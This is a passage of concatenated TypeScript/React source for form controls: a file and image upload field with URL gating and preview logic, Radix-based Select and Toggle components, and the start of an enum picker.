/^\\s*[a-z][a-z0-9+.-]*:/i;\n\n/**\n * Whether a file value's URL may be shown to an end user as it is: a web link,\n * or text with no scheme at all (`example.com/brief.pdf`), which is a link a\n * person typed rather than an address a host minted. Anything else carries a\n * scheme only the host can resolve - a `pipelex-storage://` reference above\n * all - and is not shown in `app`.\n *\n * The scheme-less half matters after a remount: the control no longer knows\n * what it typed, and a link typed without a scheme would otherwise be stored,\n * submitted and visible nowhere - blanked in the link input, and absent from\n * the card, whose title is only \"Attached file\" when there is no filename.\n *\n * Accepted limit: a scheme-less value with a port (`localhost:3000/x`,\n * `example.com:8080/x`) reads as having a scheme, since `localhost:` and\n * `example.com:` are valid scheme syntax, so it stays hidden until the person\n * types it again or adds `https://`.\n */\nfunction isReadableLink(url: string): boolean {\n return WEB_URL_RE.test(url) || !URL_SCHEME_RE.test(url);\n}\n\n/*\n * This control reads the kernel's URL gate directly - `viewableUrl` from core,\n * the same function the result view paints through.\n *\n * The gate moved to core when the result side needed the same answer: an input\n * control deciding whether to fetch a preview and a result view deciding whether\n * to paint an `<img>` are the same question, and answering it twice is how the\n * two drift. `data:` is the arm that used to be missing here, and its absence\n * cost a preview rather than a fetch: any URL that was not `http` got treated as\n * a stored URI needing `resolveUrl`, so a host with no resolver saw a spinner\n * that never stopped over a value the browser could have rendered immediately.\n *\n * It is the VALUE form and not the guard, deliberately. The guard answers the\n * question without handing back the string it judged, so a caller that then\n * paints the raw member paints something the gate never saw.\n */\n\n/** The MIME type a `data:` URL declares, which is the only type it carries. */\nfunction dataUrlMime(url: string): string | undefined {\n return DATA_URL_MIME_RE.exec(url)?.[1]?.toLowerCase();\n}\n\n/**\n * A preview of the file this control's own dropzone just took, held until the\n * host writes the uploaded value back.\n *\n * The object URL is the only way to show a file the moment it is dropped: the\n * value the host writes is a `pipelex-storage://` URI the browser cannot\n * render. What it must NOT do is outlive the value it belongs to, and that is\n * what `boundUrl` is for - it used to win over `value` unconditionally and was\n * cleared only by this control's own clear button, so a host writing a\n * different file at the same path got a chip naming B over a preview showing A.\n */\ninterface LocalPreview {\n objectUrl: string;\n type: string;\n /**\n * The `value.url` this preview is the preview OF, or `undefined` while the\n * upload it came from has not landed yet. The control cannot know the URL at\n * drop time - the host assigns it - so the first value that appears after the\n * upload stops being in flight is adopted as this preview's own, and any\n * later change to a different one retires it.\n */\n boundUrl?: string;\n}\n\n/** Document variant: a file shown as a PDF preview (or chip for other docs). */\nexport function DocumentField(props: FileFieldProps) {\n return <FileField {...props} category=\"document\" />;\n}\n\n/** Image variant: a file shown as a real image preview. */\nexport function ImageField(props: FileFieldProps) {\n return <FileField {...props} category=\"image\" />;\n}\n\nfunction FileField({\n field,\n value,\n onDropFile,\n onChange,\n id,\n uploading,\n resolveUrl,\n error,\n disabled,\n category,\n}: FileFieldProps & { category: 'document' | 'image' }) {\n const s = useFieldStrings();\n const presentation = useFieldPresentation();\n const domId = useFieldDomId(id);\n const [showUrl, setShowUrl] = useState(false);\n // The last text the link input itself wrote into the value. See `urlText`.\n const [typedUrl, setTypedUrl] = useState<string | null>(null);\n // The preview is collapsed by default - opened on demand via a \"Preview\" button.\n const [previewOpen, setPreviewOpen] = useState(false);\n const [localPreview, setLocalPreview] = useState<LocalPreview | null>(null);\n // Resolved lazily, only when the user opens the preview, so a closed field\n // never fetches a presigned URL. Keyed by the URI it was resolved FROM, the\n // way `LocalPreview` is bound to the value it is the preview OF - a cached\n // source with no record of its provenance is painted under whatever name the\n // value carries next.\n const [resolved, setResolved] = useState<{ uri: string; src: string } | null>(null);\n const localUrlRef = useRef<string | null>(null);\n\n const setLocal = useCallback((next: LocalPreview | null) => {\n if (localUrlRef.current) URL.revokeObjectURL(localUrlRef.current);\n localUrlRef.current = next?.objectUrl ?? null;\n setLocalPreview(next);\n }, []);\n useEffect(() => () => setLocal(null), [setLocal]);\n\n /**\n * A file the slot does not accept, held locally until the next pick.\n *\n * Local rather than raised to the host, and that is the distinction to keep:\n * the host's `error` prop carries the GATE's verdict about a value, while this\n * is the control refusing to produce a value at all. Nothing is uploaded, so\n * there is nothing for a host to be told about yet.\n */\n const [rejected, setRejected] = useState<string | null>(null);\n\n // The field's own list, read three times below: the hint, the OS picker's\n // filter and the check in `handleFile`. All three used to be computed apart -\n // the hint from a label on the field, the filter and the check from the\n // kind's table - so a host that rewrote the label moved the hint alone, and\n // the picker went on offering files its server would refuse.\n const formats = field.formats;\n const hint = acceptLabel(formats);\n const accept = useMemo(() => acceptMap(formats), [formats]);\n\n const handleFile = useCallback(\n (file: File) => {\n if (!isAcceptedFile(formats, file)) {\n // Refuse BEFORE the object URL and before `onDropFile`: a host's\n // uploader is a network call and often a billed one, and a file the\n // runtime cannot decode has no business reaching it.\n setRejected(file.name);\n return;\n }\n setRejected(null);\n setLocal({ objectUrl: URL.createObjectURL(file), type: file.type });\n onDropFile(file);\n },\n [formats, setLocal, onDropFile],\n );\n\n const busy = disabled || uploading;\n\n const { getRootProps, getInputProps, isDragActive } = useDropzone({\n maxFiles: 1,\n multiple: false,\n disabled: busy,\n // Filters the OS picker so a wrong file is hard to choose in the first\n // place. It is NOT the enforcement: a drag-and-drop bypasses the picker\n // entirely, and a browser reporting an empty `File.type` slips through\n // react-dropzone's own matcher. `handleFile` is where the answer is\n // decided; this is the affordance in front of it.\n accept,\n // The tab stop belongs on the INPUT, not on this div - see the root element\n // below. Without this, react-dropzone puts `tabIndex: 0` and its own key\n // handlers on a `role=\"presentation\"` div, and the element a keyboard or\n // voice-control user lands on is a generic with no role and no name.\n noKeyboard: true,\n onDrop: (files) => {\n const file = files[0];\n if (file) handleFile(file);\n },\n // react-dropzone rejects a file its own matcher refuses without ever calling\n // `onDrop`, so without this a wrong drop is silently swallowed - the control\n // simply does nothing, which reads as a broken dropzone rather than a\n // refused file.\n onDropRejected: (rejections) => {\n const name = rejections[0]?.file.name;\n if (name) setRejected(name);\n },\n });\n\n const clear = useCallback(() => {\n setLocal(null);\n setResolved(null);\n setPreviewOpen(false);\n setRejected(null);\n onChange(undefined);\n }, [setLocal, onChange]);\n\n // Whether the local preview still describes the value on screen. Computed in\n // render rather than left to the effect below, so the frame in which the host\n // writes a different file does not show the old one.\n const localIsCurrent =\n !!localPreview && (localPreview.boundUrl === undefined || localPreview.boundUrl === value?.url);\n\n useEffect(() => {\n if (!localPreview) return;\n if (localPreview.boundUrl === undefined) {\n // Still waiting for the host's write. `uploading` is the honest signal\n // that it has not happened yet; a host that does not report it falls back\n // to \"the first URL to appear\", which for the ordinary case - an empty\n // field the user drops into - is the same moment.\n if (uploading || !value?.url) return;\n setLocalPreview({ ...localPreview, boundUrl: value.url });\n return;\n }\n if (value?.url !== localPreview.boundUrl) setLocal(null);\n }, [localPreview, value?.url, uploading, setLocal]);\n\n const hasFile = !!value?.url;\n const localType = localIsCurrent ? localPreview?.type : undefined;\n // Sniffed SEPARATELY, because they used to be concatenated into one string\n // and tested with `/\\.pdf(\\?|$)/i` - so a filename's extension was always\n // followed by a space and could never match. Only a URL that carried its own\n // extension was ever previewable; a `data:` URL or an opaque storage id with\n // a perfectly good filename beside it was not offered a preview at all.\n const filename = value?.filename ?? '';\n const url = value?.url ?? '';\n const urlMime = dataUrlMime(url);\n\n const isImage =\n category === 'image' ||\n localType?.startsWith('image/') === true ||\n urlMime?.startsWith('image/') === true ||\n IMAGE_EXT_RE.test(filename) ||\n IMAGE_EXT_RE.test(url);\n const isPdf =\n localType === 'application/pdf' ||\n urlMime === 'application/pdf' ||\n PDF_EXT_RE.test(filename) ||\n PDF_EXT_RE.test(url);\n const canPreview = isImage || isPdf;\n\n // The gate's own string, not a yes-or-no over the raw member: what is judged\n // is what is painted, here as everywhere else the package touches a URL.\n const directSrc = viewableUrl(value?.url);\n // A reference the browser cannot render, for the host's resolver to turn into\n // one. Keyed on the value being a REFERENCE rather than on \"the gate said no\":\n // a `data:` URL carries its own bytes, so no resolver can resolve one, and a\n // refused one is refused rather than pending. Routing it here is what turned\n // an allow-list miss into the spinner that never stops - the exact failure the\n // note above the `data:` arm says was fixed.\n const storageUri = value?.url && !directSrc && urlMime === undefined ? value.url : null;\n useEffect(() => {\n if (!previewOpen || !storageUri || localIsCurrent || !resolveUrl) return;\n let cancelled = false;\n void resolveUrl(storageUri)\n .then((src) => {\n // A resolver that ANSWERS with nothing is the same outcome as one that\n // rejects, and it has to be recorded as one. Skipping `setResolved` on\n // an empty answer left the previous resolution standing, and it was not\n // even stale by URI - reopening the SAME file after its signed URL\n // expired kept painting the dead URL under a resolver that had just\n // said it had none.\n if (!cancelled) setResolved(src ? { uri: storageUri, src } : null);\n })\n .catch(() => {\n // A resolution that failed must leave the spinner, not the file before\n // it - and must not escape as an unhandled rejection into the host's\n // app. `resolveUrl` is a network call; rejecting is ordinary.\n if (!cancelled) setResolved(null);\n });\n return () => {\n cancelled = true;\n };\n }, [previewOpen, storageUri, localIsCurrent, resolveUrl]);\n\n // A browser-viewable source: the local object URL, a directly-viewable URL, or\n // a resolved presigned URL for a stored file. The resolution counts only while\n // it still belongs to the value on screen, which is what makes staleness\n // impossible rather than merely brief: clearing it from an effect would still\n // paint one frame of the old file, exactly as `localIsCurrent` above is\n // computed in render for the same reason.\n //\n // A resolver's answer is judged by the same gate as any payload member. The\n // resolver is trusted to know where a host's objects live, not to be a way\n // past the URL policy - and this is the sink the seam's contract documents, so\n // it has to be the sink that keeps it.\n const resolvedSrc =\n resolved && resolved.uri === storageUri ? viewableUrl(resolved.src) : undefined;\n const previewSrc =\n (localIsCurrent ? localPreview?.objectUrl : undefined) ?? directSrc ?? resolvedSrc;\n // Whether anything can still arrive: there is a reference to resolve and no\n // resolution has landed FOR IT yet. Without this the \"nothing to show\" case\n // and the \"still waiting\" case rendered the same spinner, so a refusal read as\n // a load that never finished. Keyed by URI for the same reason `resolvedSrc`\n // is: a resolution belonging to the previous value is not an answer about this\n // one.\n const previewPending = !previewSrc && !!storageUri && resolved?.uri !== storageUri;\n\n // What the link input shows. In `app` it must not print a reference only the\n // host can resolve: the input can be open while a stored file is the value -\n // opened after the file was attached, left open through an upload, or written\n // into by the host - and it used to show the `pipelex-storage://` address in\n // full. So it shows a readable link (a web link, or text with no scheme) and\n // the text it typed itself, and nothing else. The typed-text clause is what\n // keeps typing intact, since every keystroke IS that text - `https:` on its\n // way to `https://…` carries a scheme and is not a web link yet. `studio`\n // shows the value as it is, as its card does.\n const urlValue = value?.url ?? '';\n const urlText =\n presentation === 'studio' || isReadableLink(urlValue) || urlValue === typedUrl ? urlValue : '';\n\n return (\n <FieldShell\n name={field.name}\n title={field.title}\n conceptRef={field.conceptRef}\n category={category}\n description={field.description}\n required={field.required}\n error={error}\n // Names the file input, the way every other control in the set names its\n // own. Without it `FieldShell` renders the title as a `<div>` bound to\n // nothing and the input's accessible name computes to the empty string.\n htmlFor={domId}\n >\n {hasFile && !uploading ? (\n <div className=\"space-y-2\">\n <FileChip\n value={value}\n formats={formats}\n presentation={presentation}\n disabled={disabled}\n onClear={clear}\n canPreview={canPreview}\n previewOpen={previewOpen}\n onTogglePreview={() => setPreviewOpen((v) => !v)}\n />\n {previewOpen &&\n (previewSrc && isImage ? (\n <ImagePreview src={previewSrc} filename={value?.filename} />\n ) : previewSrc && isPdf ? (\n <PdfPreview src={previewSrc} />\n ) : previewPending ? (\n <div className=\"flex h-24 items-center justify-center rounded-md border border-border bg-muted\">\n <Loader2 className=\"h-4 w-4 animate-spin text-muted-foreground\" />\n </div>\n ) : (\n // Nothing to show and nothing on its way: a reference the gate\n // refuses, or a stored one with no resolver behind it. A spinner\n // here said \"loading\" about something that was never going to\n // load, which is the one thing a refusal must not look like.\n <div className=\"flex h-24 items-center justify-center rounded-md border border-border bg-muted\">\n <ImageOff className=\"h-5 w-5 text-muted-foreground\" />\n </div>\n ))}\n </div>\n ) : (\n // `role=\"presentation\"` and no tab stop: this div is the drop TARGET and\n // the visual affordance, and the control inside it is a real\n // `<input type=\"file\">`, which already has the right role and now has a\n // name. Giving the div a `role=\"button\"` of its own would put a second\n // named control in the accessibility tree for one value. The focus ring\n // is `focus-within` because the element that takes focus is clip-hidden.\n <div\n {...getRootProps()}\n className={cn(\n 'flex flex-col items-center justify-center gap-2 rounded-lg border border-dashed px-4 py-6 text-center',\n 'cursor-pointer select-none transition-colors',\n 'focus-within:ring-2 focus-within:ring-ring focus-within:ring-offset-2 focus-within:ring-offset-background',\n isDragActive\n ? 'border-primary/60 bg-primary/5'\n : 'border-border bg-input hover:border-border hover:bg-muted',\n busy && 'cursor-not-allowed opacity-60',\n )}\n >\n <input\n {...getInputProps({ tabIndex: 0 })}\n id={domId}\n disabled={busy}\n aria-invalid={!!error}\n />\n {uploading ? (\n <>\n <Loader2 className=\"h-5 w-5 animate-spin text-muted-foreground\" />\n <p className=\"text-[12px] text-muted-foreground\">{s.uploading}</p>\n </>\n ) : (\n <>\n <Upload className=\"h-5 w-5 text-muted-foreground\" strokeWidth={1.75} />\n <div className=\"space-y-0.5\">\n <p className=\"text-[13px] text-foreground\">\n {isDragActive ? s.dropToUpload : s.dropOrBrowse}\n </p>\n {hint && <p className=\"font-mono text-[10.5px] text-muted-foreground\">{hint}</p>}\n </div>\n </>\n )}\n </div>\n )}\n\n {/* The refusal. `role=\"alert\"` because it appears in response to something\n the user just did and is the only feedback that the action had no\n effect - a screen-reader user who drops a .zip otherwise gets silence.\n It names the file so the message is about the thing they picked, not a\n generic complaint. */}\n {rejected && !busy && (\n <p role=\"alert\" className=\"text-[12px] text-destructive\">\n <span className=\"font-mono\">{rejected}</span> — {s.unsupportedFileType(hint)}\n </p>\n )}\n\n {/* URL escape hatch - collapsed by default to keep the happy path clean.\n It reads `busy`, not `disabled`: an upload is a door into this value\n like any other, and leaving these two live while the dropzone was shut\n let a user paste a URL over a file that was still arriving - or, on the\n host side, abandon a started and billed run client-side. The seam\n promises the control is disabled while its id is uploading, and that\n has to mean every way in. */}\n {!showUrl ? (\n <button\n type=\"button\"\n disabled={busy}\n onClick={() => setShowUrl(true)}\n className=\"flex w-fit items-center gap-1 font-mono text-[11px] text-muted-foreground transition-colors hover:text-foreground disabled:opacity-50\"\n >\n <Link2 className=\"h-3 w-3\" />\n {s.pasteUrlInstead}\n </button>\n ) : (\n <input\n type=\"text\"\n autoFocus\n value={urlText}\n disabled={busy}\n // A name of its own. The field's label is bound to the file input, so\n // without this the placeholder was the only thing a screen reader\n // announced here - and the placeholder used to name a storage scheme.\n aria-label={s.fileUrlAria(fieldLabel(field.title, field.name, presentation))}\n placeholder={s.urlPlaceholder}\n onChange={(e) => {\n setLocal(null);\n setTypedUrl(e.target.value);\n onChange(e.target.value ? { url: e.target.value } : undefined);\n }}\n className={cn(fieldControlClass, 'h-9 px-3 font-mono text-[12px]')}\n />\n )}\n </FieldShell>\n );\n}\n\nfunction ImagePreview({ src, filename }: { src: string; filename?: string }) {\n const s = useFieldStrings();\n const [broken, setBroken] = useState(false);\n if (broken) {\n return (\n <div className=\"flex h-28 items-center justify-center rounded-md border border-border bg-muted\">\n <ImageOff className=\"h-5 w-5 text-muted-foreground\" />\n </div>\n );\n }\n return (\n <div className=\"flex max-h-[640px] justify-center overflow-auto rounded-md border border-border bg-muted\">\n <img\n src={src}\n alt={filename ?? s.preview}\n // Same rule as the result view's images: nothing this package paints\n // tells a third party which page it was painted on.\n referrerPolicy=\"no-referrer\"\n className=\"h-auto w-full max-w-full object-contain\"\n onError={() => setBroken(true)}\n />\n </div>\n );\n}\n\nfunction PdfPreview({ src }: { src: string }) {\n const s = useFieldStrings();\n // A tall viewport so the whole document is readable; the browser's native PDF\n // viewer scrolls/paginates within it. `#view=FitH` fits the page width.\n return (\n <object\n data={`${src}#view=FitH`}\n type=\"application/pdf\"\n className=\"h-[78vh] min-h-[520px] w-full rounded-md border border-border bg-muted\"\n >\n <div className=\"flex h-28 flex-col items-center justify-center gap-1.5 text-center\">\n <FileText className=\"h-5 w-5 text-muted-foreground\" />\n <p className=\"text-[12px] text-muted-foreground\">{s.previewUnavailablePdf}</p>\n </div>\n </object>\n );\n}\n\n/**\n * The line under an attached file's name, or `undefined` for none.\n *\n * What the value holds decides it, because each case means something different\n * to the person looking at the card:\n *\n * - A `data:` URL IS the file, so it is named by its format and size rather\n * than printed as forty thousand characters of base64.\n * - An `http` or `https` URL, or text with no scheme at all, is a link the\n * person can read, usually one they typed or pasted, so it is shown back to\n * them as it is (`isReadableLink`).\n * - Any other reference - a `pipelex-storage://` URI above all - is an address\n * only the host can resolve. In `app` it is replaced by the format the\n * filename's extension names, when that is one of the slot's formats, and by\n * nothing otherwise: the person who just chose the file has no use for its\n * storage address, and printing it is how one reached an end user's screen.\n * - In `studio` that reference stays printed, because a builder may need it.\n */\nfunction fileChipSubtitle(\n url: string | undefined,\n filename: string | undefined,\n formats: readonly FileFormat[],\n presentation: FieldPresentation,\n strings: FieldStrings,\n): string | undefined {\n if (url === undefined) return undefined;\n const summary = encodedFileSummary(url, strings);\n if (summary !== undefined) return summary;\n if (presentation === 'studio' || isReadableLink(url)) return url;\n return filename ? formatOfFilename(formats, filename)?.label : undefined;\n}\n\nfunction FileChip({\n value,\n formats,\n presentation,\n disabled,\n onClear,\n canPreview,\n previewOpen,\n onTogglePreview,\n}: {\n value: FileValue | undefined;\n formats: readonly FileFormat[];\n presentation: FieldPresentation;\n disabled?: boolean;\n onClear: () => void;\n canPreview?: boolean;\n previewOpen?: boolean;\n onTogglePreview?: () => void;\n}) {\n const s = useFieldStrings();\n const url = value?.url;\n const filename = value?.filename;\n // Memoised because a `data:` URL's summary counts the whole payload, and the\n // chip re-renders on every keystroke elsewhere in the form.\n const subtitle = useMemo(\n () => fileChipSubtitle(url, filename, formats, presentation, s),\n [url, filename, formats, presentation, s],\n );\n return (\n <div className=\"flex items-center gap-3 rounded-md border border-border bg-input px-3 py-2.5\">\n <span className=\"flex h-8 w-8 shrink-0 items-center justify-center rounded-md bg-muted\">\n <FileText className=\"h-4 w-4 text-muted-foreground\" />\n </span>\n <div className=\"min-w-0 flex-1\">\n <p className=\"truncate text-[13px] font-medium text-foreground\">\n {value?.filename ?? s.uploadedFile}\n </p>\n {subtitle && (\n <p className=\"truncate font-mono text-[10.5px] text-muted-foreground\">{subtitle}</p>\n )}\n </div>\n {canPreview && (\n <button\n type=\"button\"\n onClick={onTogglePreview}\n className=\"inline-flex h-7 shrink-0 items-center gap-1 rounded-md border border-border px-2 text-[11px] text-muted-foreground transition-colors hover:bg-muted hover:text-foreground\"\n >\n {previewOpen ? <EyeOff className=\"h-3.5 w-3.5\" /> : <Eye className=\"h-3.5 w-3.5\" />}\n {s.preview}\n </button>\n )}\n <ClearButton disabled={disabled} onClick={onClear} />\n </div>\n );\n}\n\nfunction ClearButton({ disabled, onClick }: { disabled?: boolean; onClick: () => void }) {\n const s = useFieldStrings();\n return (\n <button\n type=\"button\"\n onClick={onClick}\n disabled={disabled}\n aria-label={s.removeFileAria}\n className=\"flex h-7 w-7 shrink-0 items-center justify-center rounded-md text-muted-foreground transition-colors hover:bg-muted hover:text-foreground disabled:opacity-50\"\n >\n <X className=\"h-4 w-4\" />\n </button>\n );\n}\n","'use client';\n\nimport * as React from 'react';\nimport * as SelectPrimitive from '@radix-ui/react-select';\nimport { Check, ChevronDown, ChevronUp } from 'lucide-react';\n\nimport { cn } from '../utils';\n\nconst Select = SelectPrimitive.Root;\n\nconst SelectGroup = SelectPrimitive.Group;\n\nconst SelectValue = SelectPrimitive.Value;\n\nconst SelectTrigger = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Trigger>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Trigger>\n>(({ className, children, ...props }, ref) => (\n <SelectPrimitive.Trigger\n ref={ref}\n className={cn(\n // Adapted from the registry to DESIGN.md (\"Inputs\"): the `--input` surface,\n // a hairline `--border`, and a border-color focus signal instead of the\n // upstream 2px focus ring (\"No focus glow by default\").\n 'flex h-10 w-full items-center justify-between rounded-md border border-border bg-input px-3 py-2 text-sm transition-colors data-placeholder:text-muted-foreground focus:border-ring focus:outline-hidden disabled:cursor-not-allowed disabled:opacity-50 aria-invalid:border-destructive [&>span]:line-clamp-1',\n className,\n )}\n {...props}\n >\n {children}\n <SelectPrimitive.Icon asChild>\n <ChevronDown className=\"h-4 w-4 opacity-50\" />\n </SelectPrimitive.Icon>\n </SelectPrimitive.Trigger>\n));\nSelectTrigger.displayName = SelectPrimitive.Trigger.displayName;\n\nconst SelectScrollUpButton = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.ScrollUpButton>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.ScrollUpButton>\n>(({ className, ...props }, ref) => (\n <SelectPrimitive.ScrollUpButton\n ref={ref}\n className={cn('flex cursor-default items-center justify-center py-1', className)}\n {...props}\n >\n <ChevronUp className=\"h-4 w-4\" />\n </SelectPrimitive.ScrollUpButton>\n));\nSelectScrollUpButton.displayName = SelectPrimitive.ScrollUpButton.displayName;\n\nconst SelectScrollDownButton = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.ScrollDownButton>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.ScrollDownButton>\n>(({ className, ...props }, ref) => (\n <SelectPrimitive.ScrollDownButton\n ref={ref}\n className={cn('flex cursor-default items-center justify-center py-1', className)}\n {...props}\n >\n <ChevronDown className=\"h-4 w-4\" />\n </SelectPrimitive.ScrollDownButton>\n));\nSelectScrollDownButton.displayName = SelectPrimitive.ScrollDownButton.displayName;\n\nconst SelectContent = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Content>\n>(({ className, children, position = 'popper', ...props }, ref) => (\n <SelectPrimitive.Portal>\n <SelectPrimitive.Content\n ref={ref}\n className={cn(\n 'relative z-50 max-h-(--radix-select-content-available-height) min-w-32 overflow-y-auto overflow-x-hidden rounded-md border border-border bg-popover text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 origin-(--radix-select-content-transform-origin)',\n position === 'popper' &&\n 'data-[side=bottom]:translate-y-1 data-[side=left]:-translate-x-1 data-[side=right]:translate-x-1 data-[side=top]:-translate-y-1',\n className,\n )}\n position={position}\n {...props}\n >\n <SelectScrollUpButton />\n <SelectPrimitive.Viewport\n className={cn(\n 'p-1',\n position === 'popper' &&\n 'h-(--radix-select-trigger-height) w-full min-w-(--radix-select-trigger-width)',\n )}\n >\n {children}\n </SelectPrimitive.Viewport>\n <SelectScrollDownButton />\n </SelectPrimitive.Content>\n </SelectPrimitive.Portal>\n));\nSelectContent.displayName = SelectPrimitive.Content.displayName;\n\nconst SelectLabel = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Label>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Label>\n>(({ className, ...props }, ref) => (\n <SelectPrimitive.Label\n ref={ref}\n className={cn('py-1.5 pl-8 pr-2 text-sm font-semibold', className)}\n {...props}\n />\n));\nSelectLabel.displayName = SelectPrimitive.Label.displayName;\n\nconst SelectItem = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Item>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Item>\n>(({ className, children, ...props }, ref) => (\n <SelectPrimitive.Item\n ref={ref}\n className={cn(\n 'relative flex w-full cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-hidden focus:bg-accent focus:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50',\n className,\n )}\n {...props}\n >\n <span className=\"absolute left-2 flex h-3.5 w-3.5 items-center justify-center\">\n <SelectPrimitive.ItemIndicator>\n <Check className=\"h-4 w-4\" />\n </SelectPrimitive.ItemIndicator>\n </span>\n\n <SelectPrimitive.ItemText>{children}</SelectPrimitive.ItemText>\n </SelectPrimitive.Item>\n));\nSelectItem.displayName = SelectPrimitive.Item.displayName;\n\nconst SelectSeparator = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Separator>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Separator>\n>(({ className, ...props }, ref) => (\n <SelectPrimitive.Separator\n ref={ref}\n className={cn('-mx-1 my-1 h-px bg-muted', className)}\n {...props}\n />\n));\nSelectSeparator.displayName = SelectPrimitive.Separator.displayName;\n\nexport {\n Select,\n SelectGroup,\n SelectValue,\n SelectTrigger,\n SelectContent,\n SelectLabel,\n SelectItem,\n SelectSeparator,\n SelectScrollUpButton,\n SelectScrollDownButton,\n};\n","'use client';\n\nimport * as React from 'react';\nimport * as TogglePrimitive from '@radix-ui/react-toggle';\nimport { cva, type VariantProps } from 'class-variance-authority';\n\nimport { cn } from '../utils';\n\nconst toggleVariants = cva(\n 'inline-flex items-center justify-center rounded-md text-sm font-medium ring-offset-background transition-colors hover:bg-muted hover:text-muted-foreground focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=on]:bg-accent data-[state=on]:text-accent-foreground [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0 gap-2',\n {\n variants: {\n variant: {\n default: 'bg-transparent',\n outline: 'border border-input bg-transparent hover:bg-accent hover:text-accent-foreground',\n },\n size: {\n default: 'h-10 px-3 min-w-10',\n sm: 'h-9 px-2.5 min-w-9',\n lg: 'h-11 px-5 min-w-11',\n },\n },\n defaultVariants: {\n variant: 'default',\n size: 'default',\n },\n },\n);\n\nconst Toggle = React.forwardRef<\n React.ElementRef<typeof TogglePrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof TogglePrimitive.Root> & VariantProps<typeof toggleVariants>\n>(({ className, variant, size, ...props }, ref) => (\n <TogglePrimitive.Root\n ref={ref}\n className={cn(toggleVariants({ variant, size, className }))}\n {...props}\n />\n));\n\nToggle.displayName = TogglePrimitive.Root.displayName;\n\nexport { Toggle, toggleVariants };\n","import * as React from 'react';\nimport * as ToggleGroupPrimitive from '@radix-ui/react-toggle-group';\nimport { type VariantProps } from 'class-variance-authority';\n\nimport { cn } from '../utils';\nimport { toggleVariants } from './toggle';\n\nconst ToggleGroupContext = React.createContext<VariantProps<typeof toggleVariants>>({\n size: 'default',\n variant: 'default',\n});\n\nconst ToggleGroup = React.forwardRef<\n React.ElementRef<typeof ToggleGroupPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof ToggleGroupPrimitive.Root> &\n VariantProps<typeof toggleVariants>\n>(({ className, variant, size, children, ...props }, ref) => (\n <ToggleGroupPrimitive.Root\n ref={ref}\n className={cn('flex items-center justify-center gap-1', className)}\n {...props}\n >\n <ToggleGroupContext.Provider value={{ variant, size }}>{children}</ToggleGroupContext.Provider>\n </ToggleGroupPrimitive.Root>\n));\n\nToggleGroup.displayName = ToggleGroupPrimitive.Root.displayName;\n\nconst ToggleGroupItem = React.forwardRef<\n React.ElementRef<typeof ToggleGroupPrimitive.Item>,\n React.ComponentPropsWithoutRef<typeof ToggleGroupPrimitive.Item> &\n VariantProps<typeof toggleVariants>\n>(({ className, children, variant, size, ...props }, ref) => {\n const context = React.useContext(ToggleGroupContext);\n\n return (\n <ToggleGroupPrimitive.Item\n ref={ref}\n className={cn(\n toggleVariants({\n variant: context.variant || variant,\n size: context.size || size,\n }),\n className,\n )}\n {...props}\n >\n {children}\n </ToggleGroupPrimitive.Item>\n );\n});\n\nToggleGroupItem.displayName = ToggleGroupPrimitive.Item.displayName;\n\nexport { ToggleGroup, ToggleGroupItem };\n","'use client';\n\nimport { Check } from 'lucide-react';\nimport { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from './ui/select';\nimport { ToggleGroup, ToggleGroupItem } from './ui/toggle-group';\nimport type { EnumRunField } from '../core';\nimport { FieldShell } from './field-shell';\nimport { useFieldStrings } from './field-strings';\nimport { useFieldDomId } from './field-dom-id';\nimport { enumLabeler, fieldLabel, useFieldPresentation } from './field-presentation';\n\ninterface EnumFieldProps {\n field: EnumRunField;\n value: string | undefined;\n onChange: (value: string | undefined) => void;\n id: string;\n error?: string;\n disabled?: boolean;\n}\n\n/**\n * Radix `Select` cannot carry an item whose value is `\"\"` - it reserves the empty\n * string for \"no selection\". The field is optional and was clearable through a\n * blank `<option>`, so the clear entry rides a sentinel instead and maps back to\n * `undefined` on the way out.\n */\nconst CLEAR_VALUE = '__none__';\n\n/**\n * Pick-one. A short option set (≤4, each label brief) renders as a segmented\n * control - every choice visible at a glance - and falls back to a select once\n * the set grows past what fits on a row.\n *\n * An option's LABEL follows the presentation and its value does not. In `app`\n * a person picks \"Unit price differs from po\" and the form stores\n * `unit_price_differs_from_po`, because the result that run produces shows the\n * same field in words too, and a form and its result have to read the same\n * way - which is why both apply one rule, including its fallback to the codes\n * when two options would read the same. The segmented rule measures the label\n * it shows, which is the text that has to fit on the row.\n */\nexport function EnumField({ field, value, onChange, id, error, disabled }: EnumFieldProps) {\n const s = useFieldStrings();\n const presentation = useFieldPresentation();\n const labelOf = enumLabeler(field.options, presentation);\n const isSegmented =\n field.options.length <= 4 && field.options.every((o) => labelOf(o).length <= 16);\n const domId = useFieldDomId(id);\n\n return (\n <FieldShell\n name={field.name}\n title={field.title}\n conceptRef={field.conceptRef}\n category=\"choice\"\n description={field.description}\n required={field.required}\n error={error}\n htmlFor={isSegmented ? undefined : domId}\n >\n {isSegmented ? (\n // `type=\"single\"` gives the roving tabindex and arrow-key navigation a\n // radiogroup owes its user, and emits `''` when the active item is\n // pressed 